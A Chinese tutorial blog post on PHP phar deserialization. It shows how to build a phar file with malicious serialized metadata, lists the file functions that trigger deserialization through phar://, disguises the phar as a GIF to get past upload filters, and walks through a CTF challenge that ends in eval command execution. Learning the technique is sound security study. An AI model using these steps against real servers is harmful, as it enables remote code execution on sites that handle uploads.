phar反序列化

前言:看了酒馆师傅的那篇phar反序列化的利用之后,自己就来学习下phar反序列化!

参考文章:https://xz.aliyun.com/t/2958
参考文章:https://paper.seebug.org/680/
参考文章:https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/#phar介绍

在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作!

不依赖不是说没有,只是相关文件的系统函数底层实现的时候会进行unserialize的操作!

phar文件结构

1.A stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

2.A manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击手法最核心的地方

3.The file contents

被压缩文件的内容。

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

初步了解

注意:要将php.ini中的 phar.readonly 选项设置为Off,否则无法生成phar文件。

然后用php内置的phar类来构建一个文件

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

hex编码工具打开查看,可以看到 meta-data 序列化的内容成功的保存到了文件中

在一些 文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化

受影响的函数有

fileatime filectime filemtime file_exists file_get_contents file_put_contents
file filegroup fopen fileinode fileowner fileperms
is_dir is_file is_link is_executable is_readable is_writeable
is_wirtble parse_ini_file copy unlink stat readfile info_file

已经序列化的内容已经保存在了phar.phar中,我们用受影响的函数进行试验,去触发反序列化

<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt'; //test.txt是保存在phar包中的文件条目
file_exists($filename); //受影响的file_exists函数
?>

结果内容如下:

可以看到先触发了反序列化 输出了test内容,然后还会执行当前TestObject类中的析构函数,如果当前没有写TestObject类的话,单纯执行反序列化只会输出test内容!

当文件系统函数的参数可控时,我们可以在 不调用unserialize()的情况下 进行 反序列化操作 ,一些之前看起来"人畜无害"的函数也变得"暗藏杀机",极大的拓展了攻击面 !

PHP底层phar解析数据处理过程

处理代码如下:

int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){
php_unserialize_data_t var_hash;
if (zip_metadata_len) {
const unsigned char *p;
unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
p = p_buff;
ZVAL_NULL(metadata);
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { //这里是最重要的,如果metadata存在的话 就会帮我们进行反序列化的操作,if语句后面就是对前面生成的数据的内存清除
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_ptr_dtor(metadata);
ZVAL_UNDEF(metadata);
return FAILURE;
}
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
}
}

unserialize 的定义为:若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)

所以先前定义的 TestObject 类,当有数据被反序列化了之后就会被重新构造为TestObject类的对象,并且还会有属于自己的属性!

phar包的伪装

phar文件还可以伪装后缀名,首先要知道的phar文件唯一的标识符__HALT_COMPILER();?>,只要不影响标识符,那么我们就可以通过 添加任意的文件头 + 修改后缀名的方式 来将phar文件伪装成其他格式的文件

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的文件为如下:

采用这种方法可以绕过很大一部分上传检测。

phar反序列化实际应用

  1. phar文件要能够上传到服务器端
  2. 要有可用的魔术方法作为"跳板"
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

拿一道ctf的题目来进行学习:

第一题:

<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
class MyClass{
var $Output = 'echo "hahaha"';
function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->Output);
}
}
file_exists($filename);
}else{
highlight_file(__FILE__);
}

我们可以通过上面生成phar包,其中meta-data 部分是 存储了MyClass实例化的对象值,然后通过$_GET['filename'],进行 file_exists 从而触发反序列化来覆盖 $Output 变量,最后导致eval($this->Output);命令执行!

posted @   zpchcbd  阅读(1005)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示